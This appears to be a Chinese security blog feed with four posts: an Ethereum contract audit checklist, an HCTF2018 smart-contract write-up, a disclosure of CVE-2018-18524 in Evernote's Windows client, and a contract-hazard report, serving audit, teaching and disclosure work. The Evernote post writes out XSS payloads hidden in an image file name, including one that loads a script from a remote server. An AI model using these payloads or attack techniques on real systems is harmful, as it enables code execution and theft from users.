RSS Feed
更好更安全的互联网
  • Copyright @ 404 Team from Knownsec. 以太坊智能合约审计 CheckList

    2018-11-13
    作者:知道创宇404区块链安全研究团队
    时间:2018年11月12日

    在以太坊合约审计checkList中,我将以太坊合约审计中遇到的问题分为5大种,包括编码规范问题、设计缺陷问题、编码安全问题、编码设计问题、编码问题隐患。其中涵盖了超过29种会出现以太坊智能合约审计过程中遇到的问题。帮助智能合约的开发者和安全工作者快速入门智能合约安全。

    本CheckList在完成过程中参考并整理兼容了各大区块链安全研究团队的研究成果,CheckList中如有不完善/错误的地方也欢迎大家提issue.

    以太坊智能合约审计CheckList 目录

    1、编码规范问题

    (1) 编译器版本

    合约代码中,应指定编译器版本。建议使用最新的编译器版本

    老版本的编译器可能会导致各种已知的安全问题,例如https://paper.seebug.org/631/#44-dividenddistributor

    v0.4.23更新了一个编译器漏洞,在这个版本中如果同时使用了两种构造函数,即

    会忽略其中的一个构造函数,该问题只影响v0.4.22

    v0.4.25修复了下面提到的未初始化存储指针问题。

    https://etherscan.io/solcbuginfo

    (2) 构造函数书写问题

    对应不同编译器版本应使用正确的构造函数,否则可能导致合约所有者变更

    在小于0.4.22版本的solidify编译器语法要求中,合约构造函数必须和合约名字相等, 名字受到大小写影响。如:

    在0.4.22版本以后,引入了constructor关键字作为构造函数声明,但不需要function

    如果没有按照对应的写法,构造函数就会被编译成一个普通函数,可以被任意人调用,会导致owner权限被窃取等更严重的后果。

    (3) 返回标准

    遵循ERC20规范,要求transfer、approve函数应返回bool值,需要添加返回值代码

    而transferFrom返回结果应该和transfer返回结果一致。

    (4) 事件标准

    遵循ERC20规范,要求transfer、approve函数触发相应的事件

    (5) 假充值问题

    转账函数中,对余额以及转账金额的判断,需要使用require函数抛出错误,否则会错误的判断为交易成功

    上述代码可能会导致假充值。

    正确代码如下:

    2、设计缺陷问题

    (1) approve授权函数条件竞争

    approve函数中应避免条件竞争。在修改allowance前,应先修改为0,再修改为_value。

    通过置0的方式,可以在一定程度上缓解条件竞争中产生的危害,合约管理人可以通过检查日志来判断是否有条件竞争情况的发生。

    上述代码就有可能导致条件竞争。

    应在approve中加入

    将allowance先改为0再改为对应数字

    (2) 循环Dos问题

    [1] 循环消耗问题

    在合约中,不推荐使用太大次的循环

    在以太坊中,每一笔交易都会消耗一定量的gas,而实际消耗量是由交易的复杂度决定的,循环次数越大,交易的复杂度越高,当超过允许的最大gas消耗量时,会导致交易失败。

    真实世界事件

    Simoleon (SIM) - https://paper.seebug.org/646/

    Pandemica - https://bcsec.org/index/detail/id/260/tag/2

    [2] 循环安全问题

    合约中,应尽量避免循环次数受到用户控制,攻击者可能会使用过大的循环来完成Dos攻击

    当用户需要同时向多个账户转账,我们需要对目标账户列表遍历转账,就有可能导致Dos攻击。

    遇到上述情况是,推荐使用withdrawFunds来让用户取回自己的代币,而不是发送给对应账户,可以在一定程序上减少危害。

    上述代码如果控制函数调用,那么就可以构造巨大循环消耗gas,造成Dos问题

    3、编码安全问题

    (1) 溢出问题

    [1] 算术溢出

    在调用加减乘除时,应使用safeMath库来替代,否则容易导致算数上下溢,造成不可避免的损失

    balances[msg.sender] - _value >= 0可以通过下溢来绕过判断。

    通常的修复方式都是使用openzeppelin-safeMath,但也可以通过对不同变量的判断来限制,但很难对乘法和指数做什么限制。

    正确的写法如下:

    真实世界事件

    Hexagon

    SMT/BEC

    [2] 铸币烧币溢出问题

    铸币函数中,应对totalSupply设置上限,避免因为算术溢出等漏洞导致恶意铸币增发

    上述代码中就未对totalSupply做限制,可能导致指数算数上溢。

    正确写法如下:

    真实世界事件

    (2) 重入漏洞

    call函数调用时,应该做严格的权限控制,或直接写死call调用的函数

    上面代码可以使用call注入转账,将大量合约代币递归转账而出。

    call注入可能导致代币窃取,权限绕过

    如delegatecall,在合约内必须调用其它合约时,可以使用关键字library,这样可以确保合约是无状态而且不可自毁的。通过强制设置合约为无状态可以一定程度上缓解储存环境的复杂性,防止攻击者通过修改状态来攻击合约。

    真实世界事件

    The Dao

    call注入

    (3) 权限控制

    合约中不同函数应设置合理的权限

    检查合约中各函数是否正确使用了public、private等关键词进行可见性修饰,检查合约是否正确定义并使用了modifier对关键函数进行访问限制,避免越权导致的问题。

    上述代码作为初始函数不应该为public。

    真实世界事件

    Parity Multi-sig bug 1

    Parity Multi-sig bug 2

    Rubixi

    (4) 重放攻击

    合约中如果涉及委托管理的需求,应注意验证的不可复用性,避免重放攻击

    在资产管理体系中,常有委托管理的情况,委托人将资产给受托人管理,委托人支付一定的费用给受托人。这个业务场景在智能合约中也比较普遍。

    这里举例子为transferProxy函数,该函数用于当user1转token给user3,但没有eth来支付gasprice,所以委托user2代理支付,通过调用transferProxy来完成。

    这个函数的问题在于nonce值是可以预判的,其他变量不变的情况下,可以进行重放攻击,多次转账。

    漏洞来自于Defcon2018演讲议题

    Replay Attacks on Ethereum Smart Contracts
    Replay Attacks on Ethereum Smart Contracts pdf

    4、编码设计问题

    (1) 地址初始化问题

    涉及到地址的函数中,建议加入require(_to!=address(0))验证,有效避免用户误操作或未知错误导致的不必要的损失

    由于EVM在编译合约代码时初始化的地址为0,如果开发者在代码中初始化了某个address变量,但未赋予初值,或用户在发起某种操作时,误操作未赋予address变量,但在下面的代码中需要对这个变量做处理,就可能导致不必要的安全风险。

    这样的检查可以以最简单的方式避免未知错误、短地址攻击等问题的发生。

    (2) 判断函数问题

    及到条件判断的地方,使用require函数而不是assert函数,因为assert会导致剩余的gas全部消耗掉,而他们在其他方面的表现都是一致的

    值得注意的是,assert存在强制一致性,对于固定变量的检查来说,assert可以用于避免一些未知的问题,因为他会强制终止合约并使其无效化,在一些固定条件下,assert更适用。

    (3) 余额判断问题

    不要假设合约创建时余额为0,可以强制转账

    谨慎编写用于检查账户余额的不变量,因为攻击者可以强制发送wei到任何账户,即使fallback函数throw也不行。

    攻击者可以用1wei来创建合约,然后调用selfdestruct(victimAddress)来销毁,这样余额就会强制转移给目标,而且目标合约没有代码执行,无法阻止。

    值得注意的是,在打包过程中,攻击者可以通过条件竞争在合约创建前转账,这样在合约创建时余额就不为0.

    (4) 转账函数问题

    在完成交易时,默认情况下推荐使用transfer而不是send完成交易

    当transfer或者send函数的目标是合约时,会调用合约的fallback函数,但fallback函数执行失败时。

    transfer会抛出错误并自动回滚,而send会返回false,所以在使用send时需要判断返回类型,否则可能会导致转账失败但余额减少的情况。

    上面给出的代码中使用 send() 函数进行转账,因为这里没有验证 send() 返回值,如果msg.sender 为合约账户 fallback() 调用失败,则 send() 返回false,最终导致账户余额减少了,钱却没有拿到。

    (5) 代码外部调用设计问题

    对于外部合约优先使用pull而不是push

    在进行外部调用时,总会有意无意的失败,为了避免发生未知的损失,应该经可能的把对外的操作改为用户自己来取。 错误样例:

    当需要向某一方转账时,将转账改为定义withdraw函数,让用户自己来执行合约将余额取出,这样可以最大程度的避免未知的损失。

    范例代码:

    (6) 错误处理

    合约中涉及到call等在address底层操作的方法时,做好合理的错误处理

    这类操作如果遇到错误并不会抛出异常,而是会返回false并继续执行。

    上述代码没有校验send的返回值,如果msg.sender是合约账户,fallback调用失败时,send返回false。

    所以当使用上述方法时,需要对返回值做检查并做错误处理。

    https://paper.seebug.org/607/#4-unchecked-return-values-for-low-level-calls

    值得注意的一点是,作为EVM设计的一部分,下面这些函数如果调用的合约不存在,将会返回True

    在调用这类函数之前,需要对地址的有效性做检查。

    (7) 弱随机数问题

    智能合约上随机数生成方式需要更多考量

    Fomo3D合约在空投奖励的随机数生成中就引入了block信息作为随机数种子生成的参数,导致随机数种子只受到合约地址影响,无法做到完全随机。

    上述这段代码直接导致了Fomo3d薅羊毛事件的诞生。真实世界损失巨大,超过数千eth。

    所以在合约中关于这样的应用时,考虑更合适的生成方式和合理的利用顺序非常重要。

    这里提供一个比较合理的随机数生成方式hash-commit-reveal,即玩家提交行动计划,然后行动计划hash后提交给后端,后端生成相应的hash值,然后生成对应的随机数reveal,返回对应随机数commit。这样,服务端拿不到行动计划,客户端也拿不到随机数。

    有一个很棒的实现代码是dice2win的随机数生成代码。

    hash-commit-reveal最大的问题在于服务端会在用户提交之后短暂的获得整个过程中的所有数据,如果恶意进行选择中止攻击,也在一定程度上破坏了公平性。详细分析见智能合约游戏之殇——Dice2win安全分析

    当然hash-commit在一些简单场景下也是不错的实现方式。即玩家提交行动计划的hash,然后生成随机数,然后提交行动计划。

    真实世界事件

    Fomo3d薅羊毛

    Last Winner

    5、编码问题隐患

    (1) 语法特性问题

    在智能合约中小心整数除法的向下取整问题

    在智能合约中,所有的整数除法都会向下取整到最接近的整数,当我们需要更高的精度时,我们需要使用乘数来加大这个数字。

    该问题如果在代码中显式出现,编译器会提出问题警告,无法继续编译,但如果隐式出现,将会采取向下取整的处理方式。

    错误样例

    正确代码

    (2) 数据私密问题

    注意链上的所有数据都是公开的

    在合约中,所有的数据包括私有变量都是公开的,不可以将任何有私密性的数据储存在链上。

    (3) 数据可靠性

    合约中不应该让时间戳参与到代码中,容易受到矿工的干扰,应使用block.height等不变的数据

    uint someVariable = now + 1;

    if (now % 2 == 0) { // now可能被矿工控制

    }

    (4) gas消耗优化

    对于某些不涉及状态变化的函数和变量可以加constant来避免gas的消耗

    (5) 合约用户

    合约中,应尽量考虑交易目标为合约时的情况,避免因此产生的各种恶意利用

    上述合约就是一个典型的没有考虑合约为用户时的情况,这是一个简单的竞拍争夺王位的代码。当交易ether大于合约内的highestBid,当前用户就会成为合约当前的"王",他的交易额也会成为新的highestBid。

    但当新的用户试图成为新的“王”时,当代码执行到require(currentLeader.send(highestBid));时,合约中的fallback函数会触发,如果攻击者在fallback函数中加入revert()函数,那么交易就会返回false,即永远无法完成交易,那么当前合约就会一直成为合约当前的"王"。

    (6) 日志记录

    关键事件应有Event记录,为了便于运维监控,除了转账,授权等函数以外,其他操作也需要加入详细的事件记录,如转移管理员权限、其他特殊的主功能

    (7) 回调函数

    合约中定义Fallback函数,并使Fallback函数尽可能的简单

    Fallback会在合约执行发生问题时调用(如没有匹配的函数时),而且当调用send或者transfer函数时,只有2300gas 用于失败后fallback函数执行,2300 gas只允许执行一组字节码指令,需要谨慎编写,以免gas不够用。

    部分样例:

    (8) Owner权限问题

    避免owner权限过大

    部分合约owner权限过大,owner可以随意操作合约内各种数据,包括修改规则,任意转账,任意铸币烧币,一旦发生安全问题,可能会导致严重的结果。

    关于owner权限问题,应该遵循几个要求: 1、合约创造后,任何人不能改变合约规则,包括规则参数大小等 2、只允许owner从合约中提取余额

    (9) 用户鉴权问题

    合约中不要使用tx.origin做鉴权

    tx.origin代表最初始的地址,如果用户a通过合约b调用了合约c,对于合约c来说,tx.origin就是用户a,而msg.sender才是合约b,对于鉴权来说,这是十分危险的,这代表着可能导致的钓鱼攻击。

    下面是一个范例:

    我们可以构造攻击合约

    当用户被欺骗调用攻击合约,则会直接绕过鉴权而转账成功,这里应使用msg.sender来做权限判断。

    https://solidity.readthedocs.io/en/develop/security-considerations.html#tx-origin

    (10) 条件竞争问题

    合约中尽量避免对交易顺序的依赖

    在智能合约中,经常容易出现对交易顺序的依赖,如占山为王规则、或最后一个赢家规则。都是对交易顺序有比较强的依赖的设计规则,但以太坊本身的底层规则是基于矿工利益最大法则,在一定程度的极限情况下,只要攻击者付出足够的代价,他就可以一定程度控制交易的顺序。开发者应避免这个问题。

    真实世界事件

    Fomo3d事件

    (11) 未初始化的储存指针

    避免在函数中初始化struct变量

    在solidity中允许一个特殊的数据结构为struct结构体,而函数内的局部变量默认使用storage或memory储存。

    而存在storage(存储器)和memory(内存)是两个不同的概念,solidity允许指针指向一个未初始化的引用,而未初始化的局部stroage会导致变量指向其他储存变量,导致变量覆盖,甚至其他更严重的后果。

    上面代码编译后,s.x和s.y会错误的指向ownner和a。

    攻击者在执行fake_foo之后,会将owner修改为自己。

    上述问题在最新版的0.4.25版本被修复。

    以太坊合约审计checkList审计系列报告

    REF


    Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/741/

    作者:Elfinx | Categories:安全研究技术分享 | Tags:
  • HCTF2018 智能合约两则 Writeup

    2018-11-13

    作者:LoRexxar'@知道创宇404区块链安全研究团队
    时间:2018年11月12日

    这次比赛为了顺应潮流,HCTF出了3道智能合约的题目,其中1道是逆向,2道是智能合约的代码审计题目。

    ez2win是一份标准的合约代币,在一次审计的过程中我发现,如果某些私有函数没有加上private,可以导致任意转账,是个蛮有意思的问题,但也由于太简单,所以想给大家opcode,大家自己去逆,由于源码及其简单,逆向难度不会太大,但可惜没有一个人做出来,被迫放源码,再加上这题本来就简单,重放流量可以抄作业,有点儿可惜。

    bet2loss是我在审计dice2win类源码的时候发现的问题,但出题的时候犯傻了,在出题的时候想到如果有人想用薅羊毛的方式去拿flag也挺有意思的,所以故意留了transfer接口给大家,为了能让这个地方合理,我就把发奖也改用了transfer,结果把我预期的重放漏洞给修了...

    bet2loss这题在服务端用web3.py,客户端用metamask+web3.js完成,在开发过程中,还经历了metamask的一次大更新,写好的代码忽然就跑不了了,换了新的api接口...简直历经磨难。

    这次比赛出题效果不理想,没想到现在的智能合约大环境有这么差,在之前wctf大师赛的时候,duca出的一道智能合约题目超复杂,上百行的合约都被从opcode逆了出来,可这次没想到没人做得到,有点儿可惜。不管智能合约以后会不会成为热点,但就目前而言,合约的安全层面还处于比较浅显的级别,对于安全从业者来说,不断走在开发前面不是一件好事吗?

    下面的所有题目都布在ropsten上,其实是为了参赛者体验好一点儿,毕竟要涉及到看events和源码。有兴趣还可以去看。

    ez2win

    ez2win,除了漏洞点以外是一份超级标准的代币合约,加上一个单词,你也可以用这份合约去发行一份属于自己的合约代币。

    让我们来看看代码

    每个用户都会空投10 D2GBToken作为初始资金,合约里基本都是涉及到转账的函数,常用的转账函数是

    可见,transfer默认指定了msg.sender作为发信方,无法绕过。

    transferFrom触发转账首先需要用approvel授权,这是一个授权函数,只能转账授权额度,也不存在问题。

    唯一的问题就是

    在solidity中,未定义函数权限的,会被部署为public,那么这个原本的私有函数就可以被任意调用,直接调用_transfer从owner那里转账过来即可。

    bet2loss

    bet2loss是我在审计dice2win类源码的时候发现的问题,可惜出题失误了,这里主要讨论非预期解吧。

    我们来看看代码,这次附上带有注释版本的

    这是一个比较经典的赌博合约,用的是市面上比较受认可的hash-reveal-commit模式来验证随机数。在之前的dice2win分析中,我讨论过这个制度的合理性,除非选择终止,否则可以保证一定程度的公平。

    https://lorexxar.cn/2018/10/18/dice2win-safe/

    代码比较长,我在修改dice2win的时候还留了很多无用代码,可以不用太纠结。流程大致如下:

    1、在页面中点击下注

    2、后端生成随机数,然后签名,饭后commit, r, s, v

    3、回到前端,web3.js配合返回的数据,想meta发起交易,交易成功被打包之后向后台发送请求settlebet。

    4、后端收到请求之后对该commit做开奖

    5、开奖成功

    在这个过程中,用户得不到随机数,服务端也不能对随机数做修改,这就是现在比较常用的hash-reveal-commit随机数生成方案。

    整个流程逻辑比较严谨。但有一个我预留的问题,空投

    在游戏中,我设定了每位参赛玩家都会空投1000个D2GB,而且没有设置上限,如果注册10000个账号,然后转账给一个人,那么你就能获得相应的token,这个操作叫薅羊毛,曾经出过不少这样的事情。

    https://paper.seebug.org/646/

    这其中有些很有趣的操作,首先,如果你一次交易一次交易去跑,加上打包的时间,10000次基本上不可能。

    所以新建一个合约,然后通过合约来新建合约转账才有可能实现。

    这其中还有一个很有趣的问题,循环新建合约,在智能合约中是一个消耗gas很大的操作。如果一次交易耗费的gas过大,那么交易就会失败,它就不会被打包。

    简单的测试可以发现,大约50次循环左右gas刚好够用。攻击代码借用了@sissel的

    跑个200次就ok了


     

    Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/740/

    作者:Elfinx | Categories:安全研究技术分享 | Tags:
  • 印象笔记 Windows 客户端 6.15 本地文件读取和远程命令执行漏洞(CVE-2018-18524)

    2018-11-06
    作者: dawu@知道创宇404实验室
    时间: 2018/10/24
    English Version

    0x00 漏洞简介

    1. 印象笔记 Windows 客户端 6.14 版本修复了一个储存型 XSS。
    2. 由于只修复了 XSS 的入口点而没有在出口处添加过滤,导致攻击者可以在 6.14 版本的客户端中生成储存型 XSS并在 6.15 版本中触发。
    3. 印象笔记的展示模式是使用 NodeWebKit 实现的,通过储存型 XSS 可以在展示模式下注入 Nodejs 代码。
    4. 经过各种尝试,最终通过注入的 Nodejs 代码实现了本地文件读取和远程命令执行。

    0x01 前言

    2018/09/20,我当时的同事@sebao告诉我印象笔记修复了他的 XSS 漏洞并登上了名人堂,碰巧国庆的时候考古过几个客户端 XSS 导致命令执行的案例,就想在印象笔记客户端也寻找一下类似的问题。在之后的测试过程中,我不仅发现原本的 XSS 修复方案存在漏洞、利用这个 XSS 漏洞实现了本地文件读取和远程命令执行,还通过分享笔记的功能实现了远程攻击。

    0x02 印象笔记 Windows 客户端 6.14 储存型 XSS 漏洞

    @sebao 发现的储存型 XSS 漏洞的触发方式如下: 1. 在笔记中添加一张图片 2. 右键并将该图片更名为 " onclick="alert(1)">.jpg" 3. 双击打开该笔记并点击图片,成功弹框。

    经过测试,印象笔记官方修复该 XSS 的方式为:在更名处过滤了 ><" 等特殊字符,但有意思的是我在 6.14 版本下测试的 XSS 在 6.15 版本中依旧可以弹框,这也就意味着:官方只修了 XSS 的入口,在 XSS 的输出位置,依旧是没有任何过滤的。

    0x03 演示模式下的 Nodejs 代码注入

    XSS 修复方案存在漏洞并不能算是一个很严重的安全问题,所以我决定深入挖掘一下其他的漏洞,比如本地文件读取或者远程命令执行。为了方便测试,我在 6.14 版本的客户端中将一张图片更名为 " onclick="alert(1)"><script src="http://172.16.4.1:8000/1.js">.jpg 后,将客户端升级为最新版 6.15。

    我测试了一些特殊的 API,例如evernote.openAttachmentgoog.loadModuleFromUrl,但是没有显著的收获。所以我转换了思路,遍历 C:\\Program Files(x86)\Evernote\Evernote\ 目录下的所有文件。我发现印象笔记在 C:\\Program Files(x86)\Evernote\Evernote\NodeWebKit 目录下存在 NodeWebKit,在演示的时候,印象笔记会调用这个 NodeWebKit

    一个更好的消息是我可以通过之前发现的储存型 XSS 在 NodeWebKit 中执行 Nodejs 代码。

    0x04 本地文件读取 和 远程命令执行的实现

    既然可以注入 Nodejs 代码,那就意味着我可以尝试使用 child_process 来执行任意命令。

    我尝试使用 require('child_process').exec,但是却报错了: Module name "child_process" has not been loaded yet for context

    这个错误并没有浇灭我刚发现 Nodejs 代码注入的激情,我在查阅各种资料尝试 解决/绕过 这个问题。最终,我发现了前人的足迹:How we exploited a remote code execution vulnerability in math.js

    根据文中的内容,简单的修改读取本地文件的 payload 很快就实现了相应的功能:

    但是在尝试远程命令执行的时候,我遇到了一些问题。由于并不了解 Nodejs,所以我不知道为什么 NodeWebkit 中没有 ObjectArray,也不知道如何解决这个问题。我听取了文中的建议,尝试去理解 child_process的源码,并且查找 spawn_sync 相关的用法。

    最终,我从 window.process.env 中获取到 env 的内容,并使用 spawn_sync 成功地弹出了计算器。

    0x05 通过分享功能攻击其他用户

    在我实现了本地文件读取和本机命令执行后,黑哥提出了一个更高的要求:证明这个漏洞可以影响到其他用户。

    在注册了一个小号后,我尝试使用分享功能将 恶意笔记 分享给 ”他人“。

    我的小号将会在 工作空间 收到别人发来的消息。

    我的小号尝试演示这个笔记,被注入的 Nodejs 代码成功执行!

    0x06 感谢

    0x07 时间线

    2018/09/27,发现相关漏洞,攥写报告并发送至 security@evernote.com
    2018/09/27,官方确认漏洞
    2018/10/15,官方在 beta 版本 6.16.1 https://discussion.evernote.com/topic/116650-evernote-for-windows-616-beta-1/ 中修复相关漏洞,并将我的名字加入名人堂。
    2018/10/19,在和官方沟通后,自行申请CVE,编号为:CVE-2018-18524
    2018/11/05,Evernote 官方发布 正式版本 6.16.4,确认该漏洞被修复后公开漏洞细节。


    Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/736/

    作者:Elfinx | Categories:安全研究技术分享 | Tags:
  • 以太坊合约审计 CheckList 之“以太坊智能合约编码隐患”影响分析报告

    2018-11-06
    作者:LoRexxar'@知道创宇404区块链安全研究团队
    时间:2018年11月1日
    系列文章:

    一、简介

    在知道创宇404区块链安全研究团队整理输出的《知道创宇以太坊合约审计CheckList》中,我们把超过10个问题点归结为开发者容易忽略的问题隐患,其中包括“语法特性”、“数据私密性”、“数据可靠性”、“gas消耗优化”、“合约用户”、“日志记录”、“回调函数”、“Owner权限”、“用户鉴权”、 “条件竞争”等,统一归类为“以太坊智能合约编码隐患”。

    “昊天塔(HaoTian)”是知道创宇404区块链安全研究团队独立开发的用于监控、扫描、分析、审计区块链智能合约安全自动化平台,目前已经集成了部分基于opcode的审计功能。我们利用该平台针对上述提到的《知道创宇以太坊合约审计CheckList》中“以太坊智能合约编码隐患”类问题在全网公开的智能合约代码做了扫描分析。详见下文:

    二、漏洞详情

    以太坊智能合约是以太坊概念中非常重要的一个概念,以太坊实现了基于solidity语言的以太坊虚拟机(Ethereum Virtual Machine),它允许用户在链上部署智能合约代码,通过智能合约可以完成人们想要的合约。

    这次我们提到的问题多数属于智能合约独有问题,与我们常见的各类代码不同,在编写智能合约代码时还需要考虑多种问题。

    1、语法特性

    在智能合约中小心整数除法的向下取整问题

    在智能合约中,所有的整数除法都会向下取整到最接近的整数,当我们需要更高的精度时,我们需要使用乘数来加大这个数字。

    该问题如果在代码中显式出现,编译器会提出问题警告,无法继续编译,但如果隐式出现,将会采取向下取整的处理方式。

    错误样例

    2、数据私密性

    在合约中,所有的数据都是公开的。包括私有变量等,不得将任何带有私密性的数据储存在链上。

    3、数据可靠性

    在合约中,许多开发者习惯用时间戳来做判断条件,例如

    now、block_timestamp会被矿工所控制,并不可靠。

    4、gas消耗优化

    在合约中,涉及到状态变化的代码会消耗更多的,为了经可能优化gas消耗,对于不涉及状态变化的变量应该加constant来限制

    5、合约用户

    合约中,交易目标可能为合约,因此可能会产生的各种恶意利用。

    上述合约就是一个典型的没有考虑合约为用户时的情况,这是一个简单的竞拍争夺王位的代码。当交易ether大于合约内的highestBid,当前用户就会成为合约当前的"王",他的交易额也会成为新的highestBid。

    但当新的用户试图成为新的“王”时,当代码执行到require(currentLeader.send(highestBid));时,合约中的fallback函数会触发,如果攻击者在fallback函数中加入revert()函数,那么交易就会返回false,即永远无法完成交易,那么当前合约就会一直成为合约当前的"王"。

    6、日志记录

    当合约跑在链上之后,链上的一切数据都难以监控,对于一个健康的智能合约来说,记录合理的event,为了便于运维监控,除了转账,授权等函数以外,其他操作也需要加入详细的事件记录,如转移管理员权限、其他特殊的主功能。

    7、回调函数

    fallback机制是基于智能合约的特殊性而存在的。对于智能合约来说,任何函数的执行都是通过交易来完成的,但函数的执行过程中可能会遇到各种各样的问题,在交易失败或者交易结束后,就会执行fallback来最后处理结果和返回。

    而在合约交易中,执行的每一个操作都会花费巨大的gas,如果gas不足,那么fallback函数也会执行失败。在evm中规定,交易失败时,只有2300gas用于执行fallback函数,而2300gas只允许执行一组字节码指令。一旦遇到极端情况,可能会因为gas不够用导致某种情况发生,导致未知的不可挽回的后果。

    例如

    8、Owner权限

    避免owner权限过大

    部分合约owner权限过大,owner可以随意操作合约内各种数据,包括修改规则,任意转账,任意铸币烧币,一旦发生安全问题,可能会导致严重的结果。

    9、用户鉴权问题

    合约中不要使用tx.origin做鉴权

    tx.origin代表最初始的地址,如果用户a通过合约b调用了合约c,对于合约c来说,tx.origin就是用户a,而msg.sender才是合约b,对于鉴权来说,这是十分危险的,这代表着可能导致的钓鱼攻击。

    下面是一个范例:

    我们可以构造攻击合约